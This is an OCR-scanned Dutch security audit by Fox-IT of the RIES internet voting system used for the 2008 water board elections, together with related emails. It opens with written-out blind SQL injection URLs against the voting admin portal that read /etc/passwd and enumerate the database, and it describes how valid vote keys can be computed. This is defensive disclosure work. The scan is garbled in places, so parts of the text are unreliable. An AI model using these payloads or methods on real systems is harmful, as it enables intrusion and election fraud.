De volgende URL's tonen aan dat de RIES Beheer Poftal kwetsbaar is voor SQL injection:

De databasegebruiker is 'ries':
https : / / stem. surf net. nl/server /%5C. . /admin/server?req:sesu-l-ts&subree:stor
e&page id:se lect cel id:B 0 0 1' %20 and%20 ( se l-ect %2 0 count ( * ) %20f r om%2 Omysql . user
) %3E0%20 / *

De naam van de database is'ri-es':
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Bevinding t.l2
De [ebruikte versie van MySeL de de RIES stemserver is verouderd en bevat meerdere publiekelijk

bekende kwetsbaarheden.
Risico

De gebruikte versie van MySQL bevat diverse publieklijk bekende kwetsbaarheden waarmee een

kwaádwillende een Denial of Service (DoS) kan veroorzaken of de inhoud van de database kan

wijzigen. Of de kwetsbaarheden daadwerkelijk kunnen worden uitgebuit hangt van de configuratie

https : / / sLem. surfnet .nI/ server /25C. . /admin/server?req:lgtults&subreq:stor
e&pageid:select&eIid:8001' %20and%2}dalabase ( ) :' ries' /*

Een tabel met de naam 'status':
https: //stem. surfnet .nL/ server /25C. . /admin/server?req:results&subreq:stor
e&pageid:selectaelid:8001'%2Oand%20 (SELECT*20count (*) %20from%20status) %3E

o/*

Een tabel met de naam 'votes':
https : / / stem. surfnet ,nL/ server /ZSC. . /admin/server?req:resul-tscsubreQ:stor
e&page id:se l-ect &e1 id:B 0 0 I I 

% 2 0and% 2 0 ( SELECT%2 Ocount ( * | %20f rom% 2 Ovote s) =26 2

6/*

De eerste vier karakters uit het bestand'/etc/passwd'op de server:
https : / / sLem. surf net .nI/ server /"65C. , /admin/server?req:sesults&subreQ:stor
e&pageid:serecteelid:8001'z2oand%20substr(road-file('/eLclpasswd')'r'4)='
rooL'/*

van MySQL af.
Bewijs

Met behulp van de volgende twee URL's kan
MySQL software 4.r.20 is:

worden geconcludeerd dat het versienummer van de

https: //stem. surfnet .nI/ server /25C. . /admin/server?req:rgsultscsubreQ:stor
e&pageid:select&eIid:BOO1'%2Oand%20(SELECTZ20/*!40120%2010*/e"20):L0/*

https : / / stem. surfnet .nL/ server /25C. . /admin/server?req:;esul-ts&subreg:stor
e&pageid:selectcelid:8001-'%2Oand%20 (SELECTZ2O/* !40I21e"20I0* /%201:791*

Bevinding 1.13
De webservices op de systemen 195.169. 124.82 en L92.87.106.194 bieden ondersteuning
voor het cryptografisch onveilige SSL versie 2,0 protocol aan browsers die erom vragen.

Risico
Het toestaan van verouderde SSL protocollen maakt het mogelijk voor een kwaadwillende
gebruiker om de communicatie tussen webserver en gebruiker zodanig te manipuleren dat de

encryptie gekraakt kan worden. Vervolgens is het mogelijk om met behulp van een zogenaamde
man-in-the-middle attack informatie af te luisteren en/of te manipuleren.

Bewijs
Als een browser wordt ingesteld om alleen SSL-versie2.O te ondersteunen dan kan ertoch
verbinding gemaakt worden met de server.
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Appendix 2 Bevi ndi ngen cryptografische analyse
Onderstaande bevindingen zijn nog in onderzoek en nog niet voorgelegd aan het Waterschapshuis'

A2,7 RIES 2OOB in 2O3O
Deze bevinding beschrijft een dreiging die op kan treden in 2030 als het RIES 2008 systeem zo

geïmplementeerd wordt als beschreven is in de aangeleverde documentatie. Dit hoofdstuk is niet bedoeld
als uitleg hoe het gehele RIES 2008 systeem werkt, maar tracht alleen de noodzakelijke informatie te
geven voor één mogelijke dreiging. Voor andere opmerkingen en commentaren op het RIES 2008 system
verwijzen wij naar andere hoofdstukken.

Sleutelgeneratie
De laatste versie van RIES is een opvolging van RIES-KOA, RIES 2004 en het systeem van Robers [14].
Het RIES 2008 systeem kenmerkt zich vooral door het toevoegen van een cryptografische hardware
module, de IBM 4764 t121. Hiermee is het nu mogelijk om het sleutelbeheer veilig uit te voeren zonder
dat iemand de geheime sleutels hoeft te zien.

Als eerste moet er een hoeveelheid publieke data gegenereerd worden [3, blz. 10], Er moet bijvoorbeeld
een lijst van alle kiezers gemaakt worden, Hierbij krijqt elke kiezer zijn eigen publieke identiteit VnID,
welke is gekoppeld aan je Burger Service Nummer (BSN) t6l,Ook wordt er elke stemronde een
deelnemers groep gedefinieerd genaamd ParGp., welke gelijk blijft voor de gehele verkiezing. Als laatste
moet er een verkiezingscode EIID gegenereerd worden die aangeeft in welke verkiezingsronde elke kiezer
mag stemmen.

Met deze gegevens (VnID, ParGp, EIID) wordt er voor elke kiezer (circa 13 miljoen mensen) een geheime
sleutel Kp gegenereerd. Je persoonlijke sleutel is dus verbonden aan je publieke identiteit via je VnID en
je 8S/V [6, blz. 14-15].

De kiezer zijn persoonlijke sleutel Kp is eigenlijk een B byte DES sleutel 12,41. Deze sleutel wordt
gebruikt om alle mogelijke keuzes van elke kiezer te versleutelen en te publiceren voordat de
verkiezingen beginnen. Deze gepubliceerde lijst wordt als referentie lijst gebruikt om zo na de
verkiezingen te kunnen bepalen op wie er allemaal gestemd is. De charme van het systeem is dat het
verifiëren door iedereen gedaan kan worden.

Voordat we verder gaan met het algoritme en het gebruik van de Kp DES sleutel leggen we uit hoe Kp
gegenereerd wordt. Hiervoor wordt een extensie op het DES algoritme gebruikt, namelijk door drie maal
een bericht te versleutelen, een zogenaamde Triple DES (3DES) [5,13]. Met 3DES zijn er twee modi, de
drie verschillende sleutels modus (3TDES) en de twee sleutel modus (2TDES). Met 3TDES heb je drie
sleutels van in totaal 168 bits lengte (3 x 56 bits) en bij 2TDES heb je twee sleutels van in totaal 112 bits
lengte (2 x 56 bits), Als een bericht M versleuteld wordt dan wordt hij eerst vercijferd (E) met sleutel KI,
daarna ontcijfert (D) met sleutel K2 en vervolgens nog eens versleuteld (E) met sleutel K3:

E K3(D K'@ r'(M )))

Bij 3TDES zijn de sleutels KJ + K2 + K3, terwijl bij 2TDES K7=K3, KL + K2 en K3 + K2.

Formule (2) geeft weer hoe Kp gegenereerd wordt:

Kp -LTDES Ksenvorerkey(VnlD // ParGp ll EIID) Q)

Kp is een 56 bits (8 byte) DES sleutel die wordt bij RIES 2008 gegenereerd door een twee-sleutel triple
DES (2TDES) genaamd Kgenvoterkey. Deze Kgenvoterkey heeft een sleutel lengte van 112 bits (16byte)
[1], Alle Kp's worden tijdens een verkiezing gegenereerd door dezelfde Kgenvoterkey. Daardoor zijn alle
Kp's afhankelijk van elkaar. Omdat VnID, ParGp en EIID publiekelijk zijn kan bij bekend wording van
Kgenvoterkey elke Kp gegenereerd te worden, Met dit gegeven zijn er een aantal vragenl

. Hoe waarschijnlijk is het dat Kgenvoterkey gevonden word en hoe lang kan dat duren?

( 1)
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pagina I van 1

Verzonden: woensdag 2iuli 2008 17.31

Aan:

Onderurerp: issue in tussenrapportage

Op verzoek vadlicht ik me even tot jou in haar afi^Íezigheid. Kunnen we morgen even bellen over de

ontstane situatie na het AO van vanmorgen?

Ook wil ik graag melden dat een van de bevindingen van ons tussenrapport inmiddels wat moet worden

aangescherpt. Het is onze overtuiging op dit moment dat het mogelijk is om tijdens de internetstemperiode

met een gewone thuiscomputer plusminus vier geldige stemsleutels per etmaal te vinden, waarmee dus een

stem op een willekeuriBe kandidaat kan worden uitgebracht mits de wettige eigenaar van die stemsleutel

zelf niet stemt, ls dat wel zo, dan wordt diens stem ongedaan gemaakt

Dat betekent concreet dat elke computerbezitter feitelijk in de stemperiode van twee weken naar schatting

50 geldige stemmen zou kunnen uitbrengen op een kandidaat naar keuze.

Nu gaat het internetstemmen toch niet door, maar het lijkt me toch interessant om te weten dat we in het

eindrapport waarschijnlijk toch nog wel wat verder zullen gaan dan EiPSI

Groet.

Fox-IT Experts in

Olof Palmestraat 6
P.O. box 638
2600 AP DELFT
The Netherlands

IT Security!

F +31 (0)L5 2847990

I www.fox-it.com

o-ordinator Secu ritY Audits

8-9-2008



fussenrapport pagina I vanZ

Van:

Verzonden:

Aan:

GG:

l
dinsdag SJuli 2008 14:49

t

Onderwerp: RE: tussenrapport

Ik zou het wel op prijs stellen als wU de rapportage of anderszins een reactie kunnen geven op
de bevindingen. Sommige bevindingen waren een momentopname, die zijn inmiddels hersteld
en kunnen nooit meer optreden. En een andere bevinding geldt niet meer. Dat gaat over de
cryptog rafiesta ndaa rd en het vertrouwen tot 2030. Inmiddels maakt het BSN geen onderdeel
meer uit als gegeven binnen RIES. De stelling dat het BSN-nummer van een kiezer op basis van
gepubliceerde bestanden of anderszins kan worden teruggerekend, gaat niet meer op. De BSN-
nummers zitten nibt meerin de bestanden (K-10 en C-10) binnen RIES.
En ik ben zeer benieuwd hoe men denkt een geldige stem te berekenen en die "stem" dan in de
stembus krijgt, zonder medewerking van een insider,

Met vriendelijke groet,

Prog ra m ma ma nager

Het Waterschapshuis
p/a Breestraat 59, Leiden
Postbus 130

w. hetwaterscha psh uis. nl

lan:tscc:III-
., 

OnO"*".Ortussenrapport

e,l

lk hoorde je voicemail van gisteren. Hierbij stuur ik je de tussenrapportage (althans de conclusie-pagina). Met
Fox-lT is afgesproken dat ze het concept-eindrapport met jullie doornemen. Dat concept koml maandag als
het goed is. Ze hebben inmiddels ook al weer wat anders ontdekt dat nog niet in deze tussenrapportage staat
en dat ze graag bij jullie willen checken.

<<RAP MinVenW 080099 audit internetstemmen 0.2.odf>>

Ministerie van Verheer en Waterstaat
DG Water
Posfbus 20904
25OO EX DEN HAAG

l -9-2008
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Samenvatting
Het Ministerie van Verkeer en Waterstaat heeft Fox-lT gevraagd te assisteren bij het beoordelen van de
internetstemvoorziening die door de waterschappen is ontworpen voor de waterschapsverkiezíngen van
november 2008. De organisatie waarin de waterschappen samenwerken, het Waterschapshuis, heeft
daaftoe documentatie ter beschikking gesteld en medewerking verleend aan aanvullend onderzoek door
Fox-IT.

Op basis van dit onderzoek constateert Fox-IT dat de internetstemvoorziening in opzet een elegant en

doordacht systeem voor internetstemmen is. Echter, over de huidige uítwerking van het concept moet
worden vastgesteld dat dit kwaadwillenden diverse mogelijkheden biedt om de uitslag te beÏnvloeden, het
verkiezingspioces te saboteren en/of om binnen afzienbare tijd te herleiden wie op wie heeft gestemd.

Deze constatering is gebaseerd op de volgende waarnemlngen:

. Het gebruik van een gedateerde versleutelingsmethode in combinatie met het opnemen van
individuele burgerservicenummers (BSN) in de versleutelde verkiezingsuitslag betekent dat het
stemgeheim maximaal tot 2030 kan worden gewaarborgd. Met andere woorden, uíterlijk in 2030,

doch waarschijnlijk (veel) eerder, zal het mogelijk zijn te reconstrueren welke kiezer op welke
kandidaat stemde in 2008.

. Met de kracht van de huidige generatie PC's is het berekenen van geldige stemcodes haalbaar
binnen maximaal 30 uur. De ínformatie die hiervoor nodig is wordt voorafgaand aan de

stemperiode gepubliceerd, waarna de berekening kan staften. Aangezien de stemperiode twee
weken duurt zou een kiezer die over de juiste software beschikt minimaal 11 geldíge stemmen
kunnen uitbrengen op een kandidaat naar keuze'

Kwaadwillenden die de controle hebben over meerdere PC's kunnen evenredig meer stemmen
uitbrengen. Er zijn gevallen bekend van cybercriminelen die meer dan een miljoen computers
onder hun controle wisten te krijgen (1) (2).Met de in dit document beschreven methode zouden
dergelijke crÍminelen de uitslag van de waterschapsverkiezingen vríjwel volledig kunnen
controleren.

. De huidige implementatie van het internetstemsysteem (het programma dat de internetstemsite
en bijbehorende schermen voor beheerders en stembureaus zoals gebruikt in de ketentest juni
2008) vertoont beveiligingsproblemen waardoor diverse controlemaatregelen in het
verkiezingsproces kunnen worden omzeild. Zo was het voor de onderzoekers van Fox-IT mogelijk
om via het internet toegang te krijgen tot diverse beheerschermen waarin bijvoorbeeld de

verkiezingen konden worden stopgezet, en om vía deze beheerschermen de database met
uitgebrachte stemmen uit te lezen en te manípuleren.

Tot slot is het van belang te vermelden dat gedurende de periode van onderzoek (juni 2008)
oordeelsvorming niet mogelijk was met betrekking tot de beveiliging van gebruikte netwerk- en
serverinfrastructuren, aangezien deze nog slechts in voorlopige versies beschikbaar waren.

:,--J
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1 Inleiding

7.7 Aanleiding
SÍnds 1994 houden de meeste waterschappen verkiezingen voor hun bestuur door middel van een
poststemmÍng. Na diverse experimenten hebben twee waterschappen bij de vorige verkiezingen hun
kiezers ook de mogelijkheid aangeboden om middels het internet te stemmen. De waterschappen hebben
nu het voornemen om in 2008 gezamenlijk de mogelijkheid te bieden aan alle kiezers in Nederland om
per internet hun stem uit te brengen. Deze optie wordt aangeboden als aanvulling op de mogetíjkheid om
per brief te stemmen, die blijft bestaan.

Het systeem dat wordt voorgesteld om de internetverkÍezingen te realiseren is het Rijnland Internet
Election System, dat in opdracht van het Hoogheemraadschap van Rijnland in Leiden is ontwikkeld voor
de verkiezingen in 2004. RIES is in 2006 ook gebruikt voor het experiment Kiezen op Afstand van het
Ministerie van Bínnenlandse Zaken en Koninkrijksrelaties, waarbij kiesgerechtigden die in het buitenland
wonen per ínternet konden stemmen bij de Tweede Kamerverkiezingen.

De waterschapsverkiezingen van later dit jaar zullen worden uitgevoerd door het Waterschapshuis, een
samenwerkingsverband van de waterschappen, onder verantwoordelijkheid van de waterschappen zelf.
Op grond van de Waterschapswet en het daarop gebaseerde Waterschapsbesluit stelt de Minister van
Verkeer en Waterstaat wel regels omtrent zaken als het stemgeheim, de betrouwbaarheid en de
integriteit van de voorziening (aftikel 2.45 en artikel 2.58 Waterschapsbesluit),

Omdat het Ministerie het van groot belang vindt dat het internetstemmen bij deze verkiezingen goed
verloopt, en ook de Tweede Kamer veel prioriteit geeft aan dit onderwerp, heeft de Mínister in een
mínisteriële regeling vastgelegd dat de waterschappen informatie moeten overleggen waaruit blijkt dat de
ínternetstemvoorziening aan de wettelijke eisen voldoet. Daarnaast heeft de Minister geëist dat een
toetsing wordt uitgevoerd aan de aanbevelingen die de Raad van Europa heeft gedaan op dit gebied (3).

Sinds RIES is ontworpen in 2003 is het systeem doorlopend aan onderzoeken en tests onderworpen. De
waterschappen hebben, naast ontwerpdocumentatie van het voorgestelde stemsysteem, de rapporten
van deze onderzoeken overlegd als onderbouwing van hun bewering dat de stemvoorziening voldoet aan
de wettelijke eisen.

Het Ministerie heeft Fox-IT gevraagd om te adviseren over de toelaatbaarheid van de
internetstemvoorziening voorgesteld door de waterschappen, op basis van de documenten die de
waterschappen hebben aangeleverd, maarook op basis van eigen onderzoek aan de voorziening.

In dit document rappofteert Fox-IT over de aangeleverde documentatie en over het verrichte aanvullend
eigen onderzoek.

!.2 Onderzoeksvraag
Doel van de opdracht Ís een grondig advies over de vraag of de stemvoorziening adequaat beveiligd is,
volgens de eisen van het Waterschapsbesluit, de ministeriële regeling en de Raad van Europa. Daarbij
dienen de volgende vragen beantwoord te worden:

1. Hebben de waterschappen voldoende kunnen onderbouwen dat de internetstemvoorziening
redelijkerwijze voldoet aan de wefuelijke eisen, zoals geformuleerd in het Waterschapsbesluit?

en

2. Hoe zijn de resultaten van de toetsing van de voorziening aan de aanbevelingen van de Raad van
EuropaT Indien de vooníening op een of meer onderdelen niet voldoet aan de aanbevelingen, wat is
daarvan dan de reden?

7.3 Aanpak
Om deze vragen te kunnen beantwoorden is een onderzoek in 3 delen uitgevoerd:

\--d
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1.3.1 Analyse van eerder uitgevoerde onderzoeken
Onze deskundÍngen op het gebied van beveiligingsaudits, cryptografie en elektronisch stemmen hebben
de onderzoeksrapporten die het Waterschapshuís heeft aangeleverd aan een kritische review
onderworpen. Daarbíj hebben zij zich een oordeel gevormd over de opzet van de onderzoeken en de
mate waarin de onderzoeksvragen inhoudelÍjk zijn beantwoord, Over het geheel van de onderzoeken
hebben de expefts zich een oordeel gevormd over de vraag of de uitgevoerde onderzoeken afdoende
aantonen of aan de wettelijke eisen en de aanbevelingen van de Raad van Europa wordt voldaan.

1,3.2 Interview
Op woensdag l1juni 2008 is uitgebreid gesproken met de belangrijkste ontwerpers en beheerders van
RIES: Piet Maclaine Pont, Arnout Hannink en XanderJansen. In dit gesprek is geverifíeerd dat de
onderzoekers van Fox-IT de aangeleverde documentatie correct hadden geinterpreteerd, en is gesproken
over documentatie die het Waterschapshuis nog zou kunnen aanleveren die zou bijdragen aan de
oordeelsvorming door Fox-IT

1.3.3 Eigen onderzoek
Op basis van de aanvankelijk d.d. 21 mei 2008 door het Waterschapshuis aangeleverde documentatie en
het interview op l1juni 2008 hebben wij vastgesteld waar naar onze mening nader onderzoek
noodzakelijk was om een gefundeerd advies te kunnen geven. Wij achtten het noodzakelijk om eigen
onderzoek te verrichten op de volgende gebieden:

a. Een technisch onderzoek naar de beveiliging van de actuele versies van de stemsite en de
achterliggende technische componenten zoals netwerken, servers/ databases etc,;

b. Een theoretisch onderzoek naar de cryptografische fundamenten van het systeem,

Dit onderzoek was met name noodzakelijk doordat significante veranderingen op deze terreinen zijn
doorgevoerd nadat de eerdere onderzoeken zijn uitgevoerd, waardoor deze voor een belangrijk deel níet
langer actueel zijn,

In overleg met het MinÍsterie en het Waterschapshuis zijn beveiligingstests uitgevoerd gedurende het
ketenonderzoek dat in de maand juni heeft plaatsgevonden.

7.4 Objecten van onderzoek
Naast het feit dat het Waterschapshuis aangaf dat wijzigingen zijn doorgevoerd werd ook gemeld dat er
in het huidige stadium van ontwikkeling nog verregaande wÍjzigingen mogelijk waren. Pas in augustus
(software) c.q. oktober (hardware) zal de definitieve configuratie worden vastgesteld. Dit wierp een
belangrijk probleem op bij het afbakenen van de scope van het onderzoek - immers, het object van
onderzoek bleek in niet geringe mate nog een moving target. Met name waar het de achterliggende
technische Ínfrastructuur van senr'ers, netwerken en databases betrof was nog weinig vastgelegd. Een

onderzoek naar de beveiliging van deze systemen was daarom niet zinvol binnen de gestelde planning -
vóór 1 september 2008 is goedkeuring van de staatssecretaris immers vereist, echter pas kort daarvoor
(augustus) c.q.eníge tijd daarna (oktober) kan zinvol onderzoek naarde seryer- en netwerkbeveiliging
worden verricht.

Onderzoek is derhalve uitsluitend verricht naar:

De rapporten van eerdere onderzoeken zoals aangeleverd door het Waterschapshuis in de
periode 21 mei tot en met 30 juni 2008, zoals opgesomd in Appendix A, paragraaf A.1;
De beschrijvende documentatie betreffende het systeemontwerp zoals aangeleverd door het
Waterschapshuis in de periode 21 mei tot en met 30 juni 2008, zoals opgesomd in Appendix A,
paragraaf A.2;
Het document waarin het Waterschapshuis toelicht hoe de voorgestelde internetstemvoorziening
zich verhoudt tot de aanbevelingen van de Raad van Europa (4).

d. De Ínternetstemsite, actief op http://stem.surfnet.nl/ gedurende de tweede ketentest, van 16 t/m
24 juni 2008.

Eventuele latere wijzigingen van het systeem c.q. de documentatie zijn niet in scope van dit onderzoek.

a

b

c
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7.5 Opbouw van dit document
Dit document geeft in hoofdstuk 2 een beoordeling van de door het Waterschapshuis aangeleverde
onderzoeksrapporten, en geeft aan in hoeverre de bevindingen uit deze eerdere rapporten zijn verholpen.
Hoofdstuk 3 gaat nader inop de aanbevelingen van de Raad van Europa, en geeft de visie van Fox-IT op

het document waarin het Waterschapshuis aangeeft hoe de geplande internetstemvoorziening zich met
deze aanbevelingen verhoudt. Hoofdstuk 4 doet verslag van de beveiliingstest van de internetstemsite,
en hoofdstuk 5 dioet verslag van de fundamentele cryptografische analyse díe is uitgevoerd. Onze

conclusie treft u aan in hoofdstuk 6.

\-,
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2 Aangeleverde onderzoeksrapporten
Het Waterschapshuis heeft 28 eerdere onderzoeksrapporten met betrekking tot RIES ter beoordeling
aangeleverd. Een volledige opsomming vindt u in Appendix A.

Fox-IT heeft de onderzoeksrapporten getoetst op relevantie voor het huidige systeem (RIES-2008) en
bekeken of de conclusÍes die de rapporten geven, voorzover negatief, zijn opgelost in het huídÍge
systeem, Waar wij van mening zijn dat rapporten risico's vermelden díe in RIES-2008 niet of niet geheel
zijn opgelost vermelden wij dit als onderzoeksbevinding.

2.7 Documenten over de werkíng en onderlíggende cryptografie

2.1.1 Robers-systeem
1. Electronic elections employing DES smartcards, bespreking van het conceptsysteem dat ten

slao liot aan RIES door Herman Robers. 1998 (5

Dit document bevat het afstudeerverslag van Herman Robers uit December 1998 waarbij Robers, onder
begeleiding van Maclaine Pont, het concept voor RIES heeft ontwikkeld en beschreven. Er worden een
aantal problemen beschreven binnen dit systeem en voorstellen gedaan hoe ze opgelost kunnen worden:

. Het Robers-systeem berust op de integriteit van de gebruikte smartcards. Dit is niet meer
relevant voor RIES omdat er niet meer gebruik wordt gemaakt van smartcards.

. Omdat'normale'DES niet meer gezien kan worden als veilig wordt er gebruik gemaakt van de
112 bíts Triple-DES variant, DÍt is gedeeltelijk ook het geval in RIES. De unieke geheime sleutel
Kp is nog steeds een enkelvoudige DES-sleutel.

. Door een "t/'me-memory trade-off'Laanval, waarbij een aanvaller de beschikking heeft over zeer
veel MDC-hashes, is er voor gekozen om gebruik te maken van hashwaarden van 128 bits. Dit
maakt deze aanval onhaalbaar. MDC wordt nog steeds gebruikt in RIES en wordt nog steeds
gezien als veilig. Maar er bestaan sterkere hashfuncties.

. Bij het gebruik van een publiek netwerk bestaat de kans dat een aanvaller kan onderscheppen
wat iemand met een bepaald IP-adres heeft gestemd. Als hij de link kan leggen tussen de
persoon en het adres, kan hij ook bepalen wat iemand heeft gestemd. RIES maakt voor
communicatie over het internet gebruik van SSL om deze schending van het stemgeheim door
derden te voorkomen.

. Een stem van een kiezer kan worden tegengehouden zodat iemand niet kan stemmen. Een

oplossing híervoor is het terugsturen van een ontvangstbevestiging naar de kiezer. RIES gebruikt
een soortgelijk mechanÍsme.

. De autoriteit die de verkiezing initieert kan kiezers van de stemlijsten halen. De bedreiglng wordt
in RIES-2008 geminimaliseerd omdat een aanzienlijk deel van de berekeningen plaatsvindt in
fra udebesten d ige cryptografische ha rdwa re.

. Binnen RIES is het SURFnet die het netwerkverkeer opzet en beheert, Een bedreiging is dat de
anonymizer (zelfde functie als SURFnet in het RIES-systeem) extra stemmen zou kunnen
genereren. Een oplossing is om meerdere anonymizers te gebruiken en om het totale aantal
mogelijke stemmen van te voren te publiceren. Door verschillende procedures is deze aanval
geminimaliseerd in het stemsysteem van de waterschappen.

. Robers gaat nog uit van het gebruik van stemhokjes terwÍjl binnen RIES het stemhokje is
veruangen door de PC en internetbrowser van de gebruiker. Bij RIES is er voor gekozen om de
software publiekelijk beschikbaar te maken zodat iedereen kan controleren wat de software doet.

De impact van deze analyse is nÍet erg groot omdat er aanzienlijke verschillen zijn tussen het Robers-
systeem en RIES-2008. Het volgende algemene issue is echter nog steeds relevant voor RIES-2008:

RIES-2008 maakt net als Robers gebruik van DES, Triple-DES en MDC terwíjl er veel sterkere algoritmen
beschikbaar zijn waardoor de "houdbaarheid" van de versleutelde informatie aanzienlijk zou kunnen
worden verlengd.

De impact van deze bevindinq wordt nader uíteenqezet in Hoofdstuk 5, "CryDtoqrafisch fundament".
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2. RIES - InternetVoting in Actíon, bespreking door Hubbers, Jacobs e.a. van RIES (in 3 versies

aanoeleverd), 2004 /2OO5, Radboud Universiteit (KUN), (6)

2.L.2 RrES-2004

Deze papers beschrijven RIES -2004 en suggereren een aantal aanpassingen. De Radboud UnÍversiteit

heeft ook de uitkomsten van de verkiezingen in 2004 geëvalueerd. De paper begint met het beschrijven
van het Robers-systeem en RIES. Hierbij vallen volgens de schrÍjvers een aantal verschillen op:

. Bij het Robers-systeem werd nog gebruik gemaakt van smartcards en dat is bij RIES niet meer
het geval,

. Robers was puur digitaal terwijl RIES ook nog de mogelijkheíd biedt om per post te stemmen.

. Bij Robers is er een-duidelijk onderscheÍd tussen de betrokken partijen terwijl dat volgens de

schrijvers in RIES niet het geval is'

Op pagina 3 staat in voetnoot 1 een opmerking over het genereren van de unieke DES-sleutel voor elke

kiezer, Hierin staat dat technisch gezien het genereren van de sleutels door een andere partij gedaan kan

worden zolang het systeem maar gebruik maakt van cryptografische hardware. Deze aanbeveling is

overgenomen in RIES-2008. Er is ook een voetnoot die zegt dat het genereren van sleutels op een zo

onvo-orspelbaar mogelijke manier gedaan moet worden. Deze raad wordt niet opgevolgd in RIES-2008.

De papers besluiten met enkele krítische opmerkingen:

. RIES-2OO4 maakt het mogelijk om te controleren of je stem echt is meegenomen in de telling.

Veel kíezers hebben geklaàgà dat dit proces te complex was. De schrijvers willen benadrukken
dat moeite gedaan m-oet worden om zoveel mogelijk kiezers te overtuigen van de noodzaak om

de stem te controleren.
. Het gemengde systeem (post- en internetstemmen) is niet compleet transparant omdat

poststemmérs hun stem niet kunnen controleren. De partij die de poststemmen telt moet
vergaand vertrouwd worden.

. De Éartij die de stemming beheerst (TTPI) heeft misschien te veel invloed op het systeem. Een

betere scheiding in functies tussen verschillende partijen wordt aanbevolen.
. Over de (gezipte) lijst met resultaten wordt een MD5-hash berekend. Elke stem op de lijst bevat

een aantal statusbits, waaronder bits die aangeven of een stem gebruikt of ingetrokken is,

Kiezers kunnen een vervangend stembiljet aanvragen. Dan moet status van zijn stemcode
omgezet worden van "gebruikt" naar "ingetrokken". Voor het tellen van de stemmen is dit een

essentieel proces andeis zouden de ingetrokken stemmen toch meegeteld worden' Hierbij moet
het gezipte bestand aangepast worden en dit heeft natuurlijk effect op de MD5-hash over dit
bestànd. Bij het verifiëren van de uitslag was het lastig om de initiële bestanden te vergelijken
met de aangepaste bestanden. Dit zou opgelost kunnen worden door de lijsten te softeren.

. Er kan een probleem ontstaan het ZlP-bestandsformaat als mensen verschillende software
gebruiken om deze te maken.

. Het systeem is gebaseerd op collisionvrije hashfuncties. Maar met goede hashfunctíes zijn

coltÍsions zeldzaam. Met andere woorden, het is denkbaar dat twee valide kandidaten dezelfde
hash hebben als geldige stem.

. Niet alleen TTPI maar ook SURFnet moet vedrouwd worden'

. Het probleem van family votÍng is met internetstemmen nog steeds aanwezig - echter níet
anders dan bij Poststemmen.

. Het is goed dat er gebruík wordt gemaakt van open source-software. Bij dit systeem waren de

telsoftware and de serversoftware niet open source.
. DDoS-aanvallen zijn een reële bedreiging maar SURFnet heeft daar maatregelen voor getroffen'

De schrijvers hebben in cryptografische zÍn geen lekken gevonden in het systeem. De kritische noten zijn
in RIES-2008 in meer of mindere mate opgelost, met uitzondering van de volgende:

Omdat de waterschappen en SURFnet het systeem hebben ontworpen en het systeem beheren, en

SURFnet daarbij handelt in opdracht van de waterschappen, kunnen zij gezien worden als één machtige
partij die het stemmen controleert. Er is bijvoorbeeld geen onafhankelijke partij geïntroduceerd die alle
informatie versleutelt.
Dit wordt ook opqemerkt door (9) en (10

L-J
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3. Internetstemmen bij de waterschappen: hoe werkt het?, kort overzicht van RIES door Hubbers en
Jacobs uit 2004 (9

Dit artíkel beschrÍjft de werking van de gebruikte elementaire cryptografische operaties van RIES. Zowel
de stemming zelf als het proces om de uitslag te kunnen controleren wordt besproken. Daarnaast wordt
ingegaan op enkele aspecten van het systeem die naar voren zijn gekomen bij een audit die in opdracht
van Ríjnland uitgevoerd is.

De volgende zwakheden worden geconstateerd:
. "Zo is het mogelijk aan de hand van de technische stemmen te achterhalen op welke kandidaat

er gestemd is. In theorie is het niet mogelijk om hierbij ook te achterhalen welke kiezer híer bij
hoort. Maar als het strippen van netwerkadressen bijvoorbeeld niet goed gedaan is, kan een
bepaalde keuze tot een bepaald netwerkadres (ip) worden herleid. Formeel geeft dat natuurlijk
geen link met kiesgerechtigden, maar het geeft wel vermoedens."

. "[...] de afhankelijkheid van de betrouwbaarheid van de systeembeheerder. Zo kan een
systeembeheerder bijvoorbeeld gericht binnengekomen stemmen weglaten. Door namelijk de
juiste hashes te berekenen kan hij zien voor wie een stem bedoeld is. Als hij dit maar doet voor
het vastleggen van de ontvangen stemmen via een hash aan het eind van de verkiezÍngen, zal dit
lastig te traceren zijn."

. "Het systeembeheer is Ín handen van SURFnet. Er is geen veiligheidsonderzoek uitgevoerd naar
deze beheerders. Er wordt hier vertrouwd op het feit dat een gerenommeerde instelling als
SURFnet zich geen misdragingen kan veroorloven,"

. "Zoals altijd is ook bij dit systeem het sleutelbeheer belangrijk. TTPI beschikt voor de
verkiezingen over alle sleutels, [ ..] Volgens [,..] worden die 'door hen na gebruik vernietigd en in
bewaríng gegeven bij de notaris'. Als de sleutels inderdaad vernietigd zijn is ergeen probleem,
maar als TTPI tijdens het opmaken van de uitslag nog steeds over de sleutels beschikt hebben zij
in principe de mogelijkheid om stemmen te veruangen."

. "Verder Ís het sleutelbeheer ook aan de kant van de kiezer van belang. Op de stemkaart staat
immers de sleutel voor die kiezer, Mocht deze sleutel gekopieerd worden of anderszins
beschikbaar komen, bestaat de mogelijkheid om een reeds uitgebrachte stem van de kiezer zelf,
ongeldig te maken door nog minimaal twee keerte stemmen met die sleutel waarbij er op
verschillende kandidaten wordt gestemd. Ongeacht de oorspronkelijke keuze van de kiezer zelf,
wordt zijn stem nu zeker als ongeldig aangemerkt,"

Conclusie rapport: "Verschillende partijen [...] hebben vooral opgemerkt dat het systeem veilig Ís in die
zin dat fraude gedetecteerd kan worden. Er is echter ruimte voor meer compartimentalisatie, waarbij
verschillende, onafhankelijke partijen verantwoordelijk zijn voor de sleutelgeneratie, het tellen van de
elektronische stemmen, de controlesoftware voor kiezers, en voor het samenvoegen van elektronische
stemmen en poststemmen. Belangrijk is dan ook dat na afloop een andere partij dan TTPI ook
daadwerkelijk alle ingebouwde checks naloopt om te kunnen concluderen dat er niet gefraudeerd is."
"samenvattend gaat het hier om een relatief eenvoudig, origineel en inzichtelijk systeem, dat met de
nodíge zorgvuldígheid en transparantie is ingevoerd. Zoals in iedere nieuwe procedure zijn punten van
verbetering mogelijk. De ervaring dÍe met dit systeem wordt opgedaan is ongetwijfeld waardevol. Als het
dan ook gaat om het gebruik van RIES bij deze waterschapsverkiezingen, stemmen wij duidelijk voorl"

Het onderzoek is gerÍcht op het concept van RIES-2004 en laat een aantal interessante zwakheden zien,
De geconstateerde zwakheden zijn ook relevant voor de huidige RIES versie en er moet geverifíeerd
worden of deze zijn aangesproken.

4. Review of RIES, cryptografisch onderzoeksrapport naar RIES, in 2 versies aangeleverd (met en
zonder commentaar van ontwerpers), Cryptomathic, 2OO4 (11)(12

